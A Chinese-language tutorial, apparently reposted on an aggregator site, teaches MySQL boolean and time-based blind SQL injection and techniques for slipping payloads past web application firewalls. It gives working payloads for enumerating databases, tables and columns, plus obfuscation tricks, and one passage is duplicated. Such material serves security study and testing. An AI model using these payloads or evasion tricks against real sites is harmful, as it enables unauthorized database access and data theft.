sql注入盲注详解以及绕过waf方法

盲注

mysql函数普及

exists(): 用于判度条件是否满足,满足返回True,否则返回False

if(条件,为真返回的值,为假返回的值):根据条件真假返回指定的值

length(string):计算出长度string 可以是任何字符串字面量或者字段名。

substr(string,子字符串开始的位置,要提取的子字符串长度):提取子字符串

substring(string,子字符串开始的位置,要提取的子字符串长度):提取子字符串

mid(string,子字符串开始的位置,要提取的子字符串长度):提取子字符串

ascii():将字符串阿斯克编码(仅限转换单字节)

bin():将一个长整数转换为2进制字符串

ord():将字符串阿斯克编码(可以转换单字节 也可转换多字节)

reverse(string):将string顺序颠倒

count():统计查询结果

sleep(1):暂停1s再响应

benchmark(N,exp):循环执行exp N次

greatest():返回最大值

lease():返回最小值

like:可以使用%(表任意数量字符) _(表单个字符)

rlike/regexp:可使用正则匹配

img

布尔盲注

判断是否存在表

and exists(select * from information_schema.tables)

在这里插入图片描述

判度存在多少个库

or if((select count(*) from information_schema.schemata) > 0, 1=1, 1=2); 

在这里插入图片描述

在这里插入图片描述

判度当前库名长度

or length(database()) = 6;

在这里插入图片描述

爆破当前库名

and substr(database(),1,1)='P'
and ord(substr(database(),1,1))=112

在这里插入图片描述

探测总库数量

and (select count(schema_name) from information_schema.schemata)=5

在这里插入图片描述

探测所有库

and ord(substr((select group_concat(schema_name) from information_schema.schemata),1,1))=105;

在这里插入图片描述

在这里插入图片描述

探测指定库表数量

and (select count(table_name) from information_schema.tables where table_schema=database())=5;

在这里插入图片描述

探测第一个表长度

and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=8

在这里插入图片描述

爆破探测第一个表名

and ord(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=8

在这里插入图片描述

爆破探测指定表的列名

and ord(substr((select column_name from information_schema.columns where table_schema=database() and table_name='httpinfo' limit 0,1),1,1))=8

在这里插入图片描述

时间盲注

时间盲注和布尔盲注的主要区别就是,时间盲注靠网页响应时间判断结果

语句和布尔盲注相比就是多了 sleep()函数和if()函数

例如 判断是否存在表

布尔盲注

and exists(select * from information_schema.tables)

时间盲注

and if(exists(select * from information_schema.tables),sleep(5),1)
and if(exists(select * from information_schema.tables),benchmark(50000000,sha1('asasa')),1)

在这里插入图片描述

在这里插入图片描述

sql注入绕过总结

空格绕过

在请求阶段绕过

%20 %09 %0a %0b %0c %0d %a0 %00

在sql语句阶段绕过

/**/ /*!*/ /*212*/
在这里插入图片描述

括号代替空格

原来:select * from users where id='1' union select 1,2,3,database();

括号代替:select * from users where id='1'union(select 1,2,3,database());

在这里插入图片描述

引号绕过

16进制代替

原来:select column_name from information_schema.tables where table_name=“users”

替换后:select column_name from information_schema.tables where table_name=0x7573657273

直接避免使用引号

逗号绕过

from

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:

select substr(database() from 1 for 1);
select mid(database() from 1 for 1);

在这里插入图片描述

join

原来:select * from users where id='1’union select 1,2,3,database();

在这里插入图片描述

join替换:select * from users where id='1’union select * from (select 1)a join (select 2)b join (select 3)c join (select database())d;

在这里插入图片描述

like

原来:select ascii(mid(database(),1,1))=112;

在这里插入图片描述

替换:select database() like ‘p%’;

意思是以p开头

在这里插入图片描述

offset

原来:select * from users limit 0,1;

在这里插入图片描述

替换:select * from users limit 1 offset 0;

在这里插入图片描述

<>绕过

greatest()、least():(前者返回最大值,后者返回最小值)

原来:select * from users where id=‘1’ and ord(substr(database(),1,1))>0;

在这里插入图片描述

替换:select * from users where id=‘1’ and greatest(ord(substr(database(),1,1)),200)=200;

相当于拿着查询结果的ascii码和200最对比,判断200大还是它大

在这里插入图片描述

or and xor not绕过

and=&& or=|| xor=| not=!

=绕过

like 、rlike 、regexp 或者 使用< 或者 >或<>

绕过union,select,where等

使用注释符绕过

常用注释符:

//,-- , /**/, #, --+, -- -, ;,%00,--a

用法:

U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user

使用大小写绕过

id=-1'UnIoN/**/SeLeCT

内联注释绕过

id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
双关键字绕过
id=-1'UNIunionONSeLselectECT1,2,3-

LECT /**/user,pwd from user

### 使用大小写绕过```sql
id=-1'UnIoN/**/SeLeCT

内联注释绕过

id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
双关键字绕过
id=-1'UNIunionONSeLselectECT1,2,3-

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/452613.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

轻量级可视化数据分析报表,分组汇总表!

什么是可视化分组汇总表&#xff1f; 可视化分组汇总表&#xff0c;是一种结合了数据分组、聚合计算与视觉呈现功能的数据分析展示功能。它能够按照指定的维度&#xff08;如时间、地区、产品类型等&#xff09;对数据进行分组&#xff0c;还能自动计算各组的统计指标&#xf…

JavaWeb 24.Vue3的简介和快速体验

目录 一、Vue3介绍 Vue的两个核心功能 ① 声明式渲染&#xff1a; ② 响应性: 什么是声明式响应 什么是编程式响应 什么是渐进式框架 特点&#xff1a; 二、Vue3快速体验 三、关于JavaScript和TypeScript的选择问题 春风若有怜花意&#xff0c;可否许我再少年 —— 24.10.19 一…

mysql 备份与恢复

目录 一、备份分类与方法 1.1 备份类型 1.2 备份策略 1.3 备份工具 二、完全备份与恢复 2.1 物理冷备 2.2 mysqldump逻辑热 备 &#xff08;1&#xff09;完全备份一个或多个完整的库&#xff08;包括其中所有的表&#xff09; &#xff08;2&#xff09;完全备份 My…

【排序】——2.快速排序法(含优化)

快速排序法 递归法 霍尔版本(左右指针法) 1.思路 1、选出一个key&#xff0c;一般是最左边或是最右边的。 2、定义一个begin和一个end&#xff0c;begin从左向右走&#xff0c;end从右向左走。&#xff08;需要注意的是&#xff1a;若选择最左边的数据作为key&#xff0c;则…

第十六周:机器学习笔记

第十六周周报 摘要Abstratc一、机器学习1. Pointer Network&#xff08;指针网络&#xff09;2. 生成式对抗网络&#xff08;Generative Adversarial Networks | GAN&#xff09;——&#xff08;上&#xff09;2.1 Generator&#xff08;生成器&#xff09;2.2 Discriminator&…

React 子组件调用父组件的方法,以及互相传递数据

<script type"text/babel" data-type"module"> import React, { StrictMode, useState } from react; import { createRoot } from react-dom/client;const ParentComponent () > {const [message, setMessage] useState("")//父组件…

C语言函数实现:深入理解strcpy

文章目录 一、strcpy函数的基本用法二、strcpy函数的实现原理三、strcpy函数的应用场景四、strcpy函数的安全性问题五、结论 C语言函数实现&#xff1a;深入理解strcpy 在C语言编程中&#xff0c;字符串处理是一项基础且重要的任务。 strcpy函数作为C标准库中的一个基本函数&a…

计算生物学与生物信息学漫谈-2-测序深度/读长质量和Fasta处理

上一篇文章中我们介绍了测序技术的由来与发展&#xff0c;那么在介绍第三代测序的时候&#xff0c;我们提到了关于测序深度和读长的问题&#xff0c;那么本篇文章就详解介绍一下。 计算生物学与生物信息学漫谈-1-测序一路走来-CSDN博客 目录 1.测序深度SEQUENCING DEPTH &…

现代物流管理:SpringBoot技术突破

3系统分析 3.1可行性分析 通过对本智能物流管理系统实行的目的初步调查和分析&#xff0c;提出可行性方案并对其一一进行论证。我们在这里主要从技术可行性、经济可行性、操作可行性等方面进行分析。 3.1.1技术可行性 本智能物流管理系统采用SSM框架&#xff0c;JAVA作为开发语…

【SQL|大数据|数据清洗|过滤】where条件中 “ != “ 和 “ NOT IN() ” 对NULL的处理

对数据进行清洗过滤的时候&#xff0c;NULL往往是一个很特殊的存在&#xff0c;对NULL值的存在通常有以下三种方式 1、保留NULL 2、过滤掉NULL 3、将NULL替换为其他符合业务需求的默认常量 下面是一些常用处理NULL的方式&#xff1a; 如下图所示数据源&#xff1a; car_vin&…

嵌入式入门学习——6Protues点亮数码管,认识位码和段码,分辨共阴还是共阳(数字时钟第一步)

0 系列文章入口 嵌入式入门学习——0快速入门&#xff0c;Let‘s Do It&#xff01; 首先新建基于Arduino UNO的protues工程&#xff0c;见本系列第3篇文章 1 点“P”按钮找器件 2 输入“seg”或“digit”查找数码管器件 3 找到我们想要的6位7段数码管 4如图A、B…DP都是段码…

ESP32-C3 入门笔记04:gpio_key 按键 (ESP-IDF + VSCode)

1.GPIO简介 ESP32-C3是QFN32封装&#xff0c;GPIO引脚一共有22个&#xff0c;从GPIO0到GPIO21。 理论上&#xff0c;所有的IO都可以复用为任何外设功能&#xff0c;但有些引脚用作连接芯片内部FLASH或者外部FLASH功能时&#xff0c;官方不建议用作其它用途。 通过开发板的原…

自由学习记录(11)

Surface Effector 2D Platform Effector 2D 向上跳跃穿过天花板的功能 平台效应器不用变Trigger&#xff0c;因为本来就是要有碰撞的 use one way grouping是让所有相关联的碰撞器都可以单面跳墙 默认不勾选&#xff0c;左右两边没有摩擦力和弹力&#xff0c;要自己先设置sid…

三菱PLC伺服-停止位置不正确故障排查

停止位置不正确时&#xff0c;请确认以下项目。 1)请确认伺服放大器(驱动单元)的电子齿轮的设定是否正确。 2&#xff09;请确认原点位置是否偏移。 1、设计近点信号(DOG)时&#xff0c;请考虑有足够为0N的时间能充分减速到爬行速度。该指令在DOG的前端开始减速到爬行速度&…

计算机毕业设计 基于Web的景区管理系统的设计与实现 Java+SpringBoot+Vue 前后端分离 文档报告 代码讲解 安装调试

&#x1f34a;作者&#xff1a;计算机编程-吉哥 &#x1f34a;简介&#xff1a;专业从事JavaWeb程序开发&#xff0c;微信小程序开发&#xff0c;定制化项目、 源码、代码讲解、文档撰写、ppt制作。做自己喜欢的事&#xff0c;生活就是快乐的。 &#x1f34a;心愿&#xff1a;点…

市场上几个跨平台开发框架?

跨平台桌面应用开发框架是一种工具或框架&#xff0c;它允许开发者使用一种统一的代码库或语言来创建能够在多个操作系统上运行的桌面应用程序。传统上&#xff0c;开发者需要为每个操作系统编写不同的代码&#xff0c;使用不同的开发工具和语言。而跨平台桌面应用开发框架通过…

【网络】IP协议的地址管理

【网络】IP协议的地址管理 一. IP协议格式二. 地址管理1.动态分配IP地址2.NAT机制2.1 NAT机制下网络的请求/响应 3. 网段划分3.1 特殊的IP地址 4.路由选择5.DNS域名解析系统 一. IP协议格式 4位版本号(version): 指定IP协议的版本&#xff08;IPv4/IPv6&#xff09;, 对于IPv4来…

一起搭WPF架构之livechart的MVVM使用介绍

一起搭WPF架构之livechart使用介绍 前言ModelViewModelView界面设计界面后端 效果总结 前言 简单的架构搭建已经快接近尾声了&#xff0c;考虑设计使用图表的形式将SQLite数据库中的数据展示出来。前期已经介绍了livechart的安装&#xff0c;今天就详细介绍一下livechart的使用…

第6篇:无线与移动网络

目录 引言 6.1 无线网络的基础概念 6.2 无线局域网&#xff08;WLAN&#xff09;与IEEE 802.11 6.3 蓝牙与无线个域网&#xff08;WPAN&#xff09; 6.4 无线城域网&#xff08;WMAN&#xff09;与WiMax 6.5 ZigBee与智能家居 6.6 移动蜂窝网络&#xff08;3G/4G/5G&…

SpringCloudStream使用StreamBridge实现延时队列

利用RabbitMQ实现消息的延迟队列 一、安装RabbitMQ 1、安装rabbitmq 安装可以看https://blog.csdn.net/qq_38618691/article/details/118223851,进行安装。 2、安装插件 安装完毕后,exchange是不支持延迟类型的,需要手动安装插件,需要和安装的rabbitmq版本一致 https:…